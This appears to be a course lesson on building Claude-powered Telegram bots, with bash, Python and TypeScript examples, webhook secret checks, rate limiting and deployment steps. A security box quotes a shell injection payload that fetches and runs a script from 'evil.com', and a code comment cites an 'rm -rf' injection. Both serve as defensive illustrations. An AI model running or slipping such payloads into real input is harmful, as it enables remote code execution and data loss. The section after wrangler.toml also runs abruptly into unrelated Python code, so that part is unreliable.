Telegram bots with the Claude API, from zero to production
Builder90 minUpdated: October 2026
57 of 105 in the library
Time: about 30 min reading + 60 min practice
The gist
A Telegram bot (an automated program) powered by Claude isn't just a chatbot. It's an automatic employee that answers customers at 3 a.m., collects leads, generates content and transcribes voice messages, all for modest API costs (for how to calculate them, see the Cost Engineering lesson). You write it once, and it works around the clock.
Telegram is a popular messaging app with an open, free bot platform, which makes it a convenient place to learn. The same approach (receive a message, send it to Claude, send back the reply) carries over to other channels, such as WhatsApp or a chat widget on your website.
🎨 Picture this: a Telegram bot is like the automated phone line at your company. Only instead of "press 1, press 2," it's a real conversation with an AI that understands what the customer wants and responds intelligently. And Claude is the brain you rent for pennies.
Key concepts
BotFather: Telegram's official bot for creating bots (free)
Polling vs. webhook (a webhook is an HTTP notification about an event): two ways to receive messages (each suited to different situations)
python-telegram-bot / grammY: libraries for Python and TypeScript
Conversation history: how the bot remembers the context of a conversation
Cloudflare Workers: deployment on the free plan: as of October 2026, up to 100,000 requests a day
Railway: deployment on an always-on server, on a paid plan (current pricing is on Railway's website)
Theory
Step 0: Create a bot through BotFather
Open Telegram, search for @BotFather and send /newbot. It will ask for:
The bot's name (for example: "My Assistant")
A username (it must end in "bot": my_assistant_bot)
In return you get a token (your authentication key):
Code
7234567890:AAH_abcXYZ123...
🎨 Picture this: the bot token is like the key to your office. Whoever has the key can walk in and do anything in the bot's name. Guard it as carefully as your bank password.
If the token leaks, regenerate it right away: /revoke in BotFather.
Polling vs. webhook: what's the difference
🎨 Picture this: polling is like a waiter who walks over to the kitchen every 30 seconds and asks, "Is it ready?" A webhook is like the kitchen calling out: "Order's up, come get it!" The first is simpler; the second is faster and cheaper.
Criterion
Polling
Webhook
Complexity
Minimal (5 min)
Needs a public HTTPS URL
Response speed
Depends on the polling interval
Usually faster: the message arrives immediately
Server load
Higher (constant requests)
Lower (only when there's an event)
For development
Ideal
Inconvenient
Cloudflare Workers
Not possible (serverless)
Required
For production
Up to 20 users
At any load
The rule: for development and personal use, polling. For production on Cloudflare Workers, webhook only.
Option A: A bash script (30 lines, running in 5 minutes)
The fastest start. Bash is the command language of the terminal. All you need is curl and jq. Suitable for personal use.
bash
#!/usr/bin/env bash
set -euo pipefail
source ~/.config/telegram-bot.env
API="https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}"
OFFSET=0
# Send function (handles the 4096-character limit)
send() {
local chat="$1" text="$2"
while [ -n "$text" ]; do
local chunk="${text:0:4000}"
text="${text:4000}"
curl -s -X POST "${API}/sendMessage" \
--data-urlencode "chat_id=${chat}" \
--data-urlencode "text=${chunk}" > /dev/null
done
}
handle_message() {
local chat="$1" user_text="$2"
# Allowed users only
if [ "$chat" != "$TELEGRAM_ALLOWED_CHAT_ID" ]; then
return
fi
# ⚠️ Protection against shell injection: stdin instead of an argument
# If user_text contains `$(rm -rf ~)` or a backtick, without quoting it
# will run as code. printf '%q' quotes safely, but it's more reliable to pass
# the text through stdin so the shell never parses it at all.
local reply
reply=$(printf '%s' "$user_text" | claude -p --model sonnet \
--max-budget-usd 0.50 2>&1) || reply="Error: $reply"
send "$chat" "$reply"
}
# ⚠️ Polling loop WITHOUT a subshell pipe
# The old version `jq ... | while read` ran the while loop in a subshell:
# OFFSET got updated in there but stayed the same outside.
# Redirecting through process substitution `< <(...)` keeps the while loop
# in the current shell, so OFFSET is visible in the next iteration.
# curl --fail --max-time 30: drop hung connections, catch HTTP 5xx.
while true; do
UPDATES=$(curl -s --fail --max-time 35 \
"${API}/getUpdates?offset=${OFFSET}&timeout=30") || {
echo "Telegram API timeout/error, retrying in 5s..." >&2
sleep 5
continue
}
while read -r upd; do
OFFSET=$(($(echo "$upd" | jq '.update_id') + 1))
CHAT=$(echo "$upd" | jq '.message.chat.id')
TEXT=$(echo "$upd" | jq -r '.message.text // empty')
[ -n "$TEXT" ] && handle_message "$CHAT" "$TEXT"
done < <(echo "$UPDATES" | jq -c '.result[]?')
done
⚠️ Security box: why a bash bot is dangerous in a public setting
🎨 Picture this: this script is like a kitchen door with no lock. For your own family (a whitelist of one chat_id), that's fine. But open that door to the street, and any passerby can walk into the kitchen with a knife.
The specific risks if you remove the whitelist:
Shell injection: a user writes $(curl evil.com/x.sh | sh). Without passing it through stdin (as above), bash will run it as code.
A race condition in polling: the old version with | while read lost the offset after a crash → duplicate messages after a restart.
No rate limiting: a single spammer will eat your whole Claude budget in 5 minutes.
No audit log: you won't know who wrote what if something breaks.
The rule: the bash version is only for personal use with a whitelist. For anything public, use Python/TypeScript with rate limiting, a sandbox and logging.
The config file ~/.config/telegram-bot.env:
bash
TELEGRAM_BOT_TOKEN=7234567890:AAH_your_token
TELEGRAM_ALLOWED_CHAT_ID=123456789 # Your chat_id (get it from @userinfobot)
ANTHROPIC_API_KEY=sk-ant-...
A full-featured bot with conversation memory. Install:
bash
pip install python-telegram-bot anthropic
python
import asyncio
import anthropic
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
import os
claude = anthropic.Anthropic(api_key=os.environ["ANTHROPIC_API_KEY"])
# ⚠️ Memory: an in-memory dictionary is ONLY for development and a single process
#
# The problem: defaultdict(list) keeps an entry for every new user_id forever.
# 10,000 users × 20 messages × ~500 bytes = ~100 MB of RAM, and growing.
# When the process restarts, all history is lost.
#
# For production: Redis / Cloudflare KV / Postgres with a TTL.
# Below is LRU eviction by size (protection against running out of memory in the in-memory version).
from collections import OrderedDict
MAX_HISTORY = 20 # messages per user
MAX_USERS = 1000 # active users in memory (LRU eviction)
class LRUConversations(OrderedDict):
"""LRU dictionary: when MAX_USERS is exceeded, removes the oldest one."""
def __getitem__(self, key):
if key not in self:
self[key] = []
else:
self.move_to_end(key) # mark as recently used
return super().__getitem__(key)
def __setitem__(self, key, value):
super().__setitem__(key, value)
self.move_to_end(key)
if len(self) > MAX_USERS:
evicted_key, _ = self.popitem(last=False) # drop oldest
# In production: log + alert "history evicted for user X"
conversation_history = LRUConversations()
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
user = update.effective_user
await update.message.reply_text(
f"Hi, {user.first_name}! I'm an AI assistant. Ask me anything."
)
async def clear_history(update: Update, context: ContextTypes.DEFAULT_TYPE):
conversation_history[update.effective_user.id].clear()
await update.message.reply_text("History cleared.")
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
user_id = update.effective_user.id
user_text = update.message.text
# Show "typing..."
await context.bot.send_chat_action(
chat_id=update.effective_chat.id,
action="typing"
)
# Add to history
conversation_history[user_id].append({
"role": "user",
"content": user_text
})
# Trim if it's too long
if len(conversation_history[user_id]) > MAX_HISTORY:
conversation_history[user_id] = conversation_history[user_id][-MAX_HISTORY:]
# Request to Claude
response = claude.messages.create(
model="claude-sonnet-5-5",
max_tokens=2000,
system="You are a helpful AI assistant. Keep your answers short and to the point.",
messages=conversation_history[user_id]
)
reply = "".join(b.text for b in response.content if b.type == "text")
# Save the reply
conversation_history[user_id].append({
"role": "assistant",
"content": reply
})
# Telegram's 4096-character limit
if len(reply) > 4096:
for i in range(0, len(reply), 4096):
await update.message.reply_text(reply[i:i+4096])
else:
await update.message.reply_text(reply)
def main():
app = Application.builder().token(os.environ["TELEGRAM_BOT_TOKEN"]).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(CommandHandler("clear", clear_history))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
print("Bot is running...")
app.run_polling()
if __name__ == "__main__":
main()
⚠️ Security box: if you switch the Python bot to a webhook
🎨 Picture this: a webhook without a secret check is like a mail slot in a front door with no lock. Anyone on the internet can drop in a letter pretending to be from Telegram, and the bot will act on it.
When you switch from run_polling() to a webhook (for example through FastAPI or app.run_webhook()), you must check the X-Telegram-Bot-Api-Secret-Token header. That's the value you passed to setWebhook as secret_token. Without this check, an attacker can send fake updates to your public URL.
python
from fastapi import FastAPI, Request, HTTPException
import os
WEBHOOK_SECRET = os.environ["WEBHOOK_SECRET"]
api = FastAPI()
@api.post("/webhook")
async def webhook(request: Request):
# ⚠️ The check comes FIRST, before parsing the body
secret = request.headers.get("X-Telegram-Bot-Api-Secret-Token")
if secret != WEBHOOK_SECRET:
raise HTTPException(status_code=401, detail="Unauthorized")
update = Update.de_json(await request.json(), app.bot)
await app.process_update(update)
return {"ok": True}
This mirrors the check in the TypeScript version on Cloudflare Workers (the request.headers.get("X-Telegram-Bot-Api-Secret-Token") lines below).
Option C: TypeScript + grammY with streaming (advanced)
The reply appears gradually, like on Claude.ai. The user sees the text as it's generated:
typescript
import "dotenv/config";
import { Bot } from "grammy";
import Anthropic from "@anthropic-ai/sdk";
const bot = new Bot(process.env.TELEGRAM_BOT_TOKEN!);
const claude = new Anthropic();
// ⚠️ Conversation history in an in-memory Map, ONLY for development
//
// The problem: Map<number, ...> keeps an entry for every user_id forever.
// With 10k users the process will eat all the RAM and crash (OOM).
// On restart, all history is lost (it isn't persistent).
//
// For production, use Redis or Cloudflare KV with a TTL:
// await env.KV.put(`chat:${userId}`, JSON.stringify(history),
// { expirationTtl: 60 * 60 * 24 * 7 }); // 7 days
//
// Below is LRU eviction by size (protection against OOM in a single-process setup).
const MAX_USERS = 1000;
const conversations = new Map<number, Array<{role: string, content: string}>>();
function getHistory(userId: number): Array<{role: string, content: string}> {
if (conversations.has(userId)) {
// LRU touch: remove it and put it back at the end (Map keeps insertion order)
const h = conversations.get(userId)!;
conversations.delete(userId);
conversations.set(userId, h);
return h;
}
// Evict the oldest one if we're over the limit
if (conversations.size >= MAX_USERS) {
const oldestKey = conversations.keys().next().value;
if (oldestKey !== undefined) conversations.delete(oldestKey);
}
const fresh: Array<{role: string, content: string}> = [];
conversations.set(userId, fresh);
return fresh;
}
bot.on("message:text", async (ctx) => {
const userId = ctx.from.id;
const userText = ctx.message.text;
const history = getHistory(userId); // LRU touch + create if absent
history.push({ role: "user", content: userText });
// Placeholder message
const placeholder = await ctx.reply("...");
let buffer = "";
let lastEdit = Date.now();
// Streaming from Claude
const stream = claude.messages.stream({
model: "claude-sonnet-5-5",
max_tokens: 2000,
system: "You are a helpful AI assistant. Answer in the user's language.",
messages: history as any,
});
for await (const chunk of stream) {
if (chunk.type === "content_block_delta" &&
chunk.delta.type === "text_delta") {
buffer += chunk.delta.text;
// Update every 800 ms (Telegram API limit)
if (Date.now() - lastEdit > 800 && buffer.length > 20) {
try {
await ctx.api.editMessageText(
ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000)
);
lastEdit = Date.now();
} catch (e) { /* the message didn't change */ }
}
}
}
// Final update
await ctx.api.editMessageText(ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000));
history.push({ role: "assistant", content: buffer });
if (history.length > 20) conversations.set(userId, history.slice(-20));
});
bot.command("clear", async (ctx) => {
conversations.delete(ctx.from.id);
await ctx.reply("History cleared.");
});
bot.start();
Voice messages: transcription with Whisper
🎨 Picture this: a voice message in Telegram is like a note recorded on tape. Whisper is the interpreter that turns the audio back into text. And Claude is the one who reads it and replies.
Telegram sends voice in OGG/Opus format. You need to: download → transcribe → send to Claude.
python
import io
import openai
import aiohttp
from telegram.ext import MessageHandler, filters
openai_client = openai.AsyncOpenAI(api_key=os.environ["OPENAI_API_KEY"])
async def handle_voice(update: Update, context: ContextTypes.DEFAULT_TYPE):
await context.bot.send_chat_action(update.effective_chat.id, "typing")
# Step 1: Download the OGG file
file = await context.bot.get_file(update.message.voice.file_id)
async with aiohttp.ClientSession() as session:
async with session.get(file.file_path) as resp:
audio_bytes = await resp.read()
# Step 2: Transcribe with Whisper
audio_file = io.BytesIO(audio_bytes)
audio_file.name = "voice.ogg"
# the speech recognition model name is an example: check OpenAI's documentation for current models
transcription = await openai_client.audio.transcriptions.create(
model="whisper-1",
file=audio_file,
language="en"
)
transcript = transcription.text
# Step 3: Show what was recognized
await update.message.reply_text(f"🎙️ I heard: _{transcript}_", parse_mode="Markdown")
# Step 4: Pass it to Claude
response = claude.messages.create(
model="claude-sonnet-5-5",
max_tokens=1000,
messages=[{"role": "user", "content": transcript}]
)
await update.message.reply_text("".join(b.text for b in response.content if b.type == "text"))
app.add_handler(MessageHandler(filters.VOICE, handle_voice))
Inline buttons: menus and modes
python
from telegram import InlineKeyboardButton, InlineKeyboardMarkup
async def show_menu(update: Update, context: ContextTypes.DEFAULT_TYPE):
keyboard = [
[
InlineKeyboardButton("📝 Write a post", callback_data="mode_content"),
InlineKeyboardButton("📊 Analytics", callback_data="mode_analytics"),
],
[InlineKeyboardButton("🗑️ Clear history", callback_data="clear_history")],
]
await update.message.reply_text(
"Choose a mode:", reply_markup=InlineKeyboardMarkup(keyboard)
)
async def handle_callback(update: Update, context: ContextTypes.DEFAULT_TYPE):
query = update.callback_query
await query.answer() # REQUIRED: removes the loading "clock" on the button
if query.data == "mode_content":
context.user_data["mode"] = "content"
await query.edit_message_text("Mode: content assistant. Send me a topic 👇")
elif query.data == "clear_history":
conversation_history[query.from_user.id].clear()
await query.answer("History cleared!", show_alert=True)
from telegram.ext import CallbackQueryHandler
app.add_handler(CallbackQueryHandler(handle_callback))
Deployment: Cloudflare Workers (free, webhook)
🎨 Picture this: Cloudflare Workers is like having a mailbox on every street corner in the world. A message from Telegram lands on the server closest to the user (hundreds of locations worldwide). Latency is minimal, and within the free Workers plan limits you pay nothing for it.
bash
# Install
npm install -g wrangler
wrangler login
# New project
mkdir my-telegram-bot && cd my-telegram-bot
npm install grammy @anthropic-ai/sdk
# Secrets (not in the code!)
wrangler secret put BOT_TOKEN
wrangler secret put ANTHROPIC_API_KEY
wrangler secret put WEBHOOK_SECRET
wrangler.toml:
toml
name = "my-telegram-bot"
main = "src/index.ts"
compatibility_date = "2026-10-01" # use the current date when you create the project
ALLOWED_USERS = {123456789} # Your chat_ids
async def check_access(update: Update) -> bool:
if update.effective_user.id not in ALLOWED_USERS:
await update.message.reply_text("Access denied.")
return False
return True
3. Rate limiting:
python
from collections import defaultdict
from datetime import datetime, timedelta
requests = defaultdict(list)
def check_rate_limit(user_id: int, max_req=5, window_sec=60) -> bool:
now = datetime.now()
cutoff = now - timedelta(seconds=window_sec)
requests[user_id] = [ts for ts in requests[user_id] if ts > cutoff]
if len(requests[user_id]) >= max_req:
return False
requests[user_id].append(now)
return True
Telegram API limits:
Type
Limit
Messages overall (broadcasts)
about 30/sec per bot
Messages to a single chat
no more than 1/sec
Messages to a group
no more than 20/min
Message length
4096 characters
File the bot sends
up to 50 MB
File the bot downloads
up to 20 MB
Real use cases
A customer support bot:
python
SUPPORT_PROMPT = """You are a support agent for Acme Realty.
You help clients find property in Ecuador.
For questions about prices, ask about their budget and preferences.
For complaints, apologize and ask for their contact details.
If you don't know something, say so honestly and offer to connect them with a manager."""
A lead generation funnel:
Code
Tapped a button → picked an interest (buy/rent)
→ entered a budget → entered contact info
→ the manager got the lead in a separate chat
A content assistant:
python
MODES = {
"telegram": "A Telegram post, max 800 characters, 3-5 emoji",
"instagram": "An Instagram post with 10-15 hashtags at the end",
"blog": "An article of at least 800 words with subheadings",
}
Practice
Create a bot through BotFather and get the token
Find your chat_id with @userinfobot
Run the bash script with the Claude CLI (command-line interface) and send the bot your first message
Rewrite it in Python with conversation history
Add a /clear command to reset the history
(optional) Deploy to Railway or Cloudflare Workers
A Telegram bot with Claude = an automatic 24/7 assistant with modest API costs. The bash script runs in 5 minutes, the Python version adds conversation memory, and TypeScript + grammY is for production.
Polling for development and small bots (up to 20 users). A webhook is required for Cloudflare Workers and high-traffic bots.
The token is your main secret. Never in the code, always through environment variables. A user whitelist is a must for private bots.
Next lesson
→ Claude Code CLI: when the terminal is more powerful than an IDE
The mark stays in this browser only and is never sent anywhere. My progress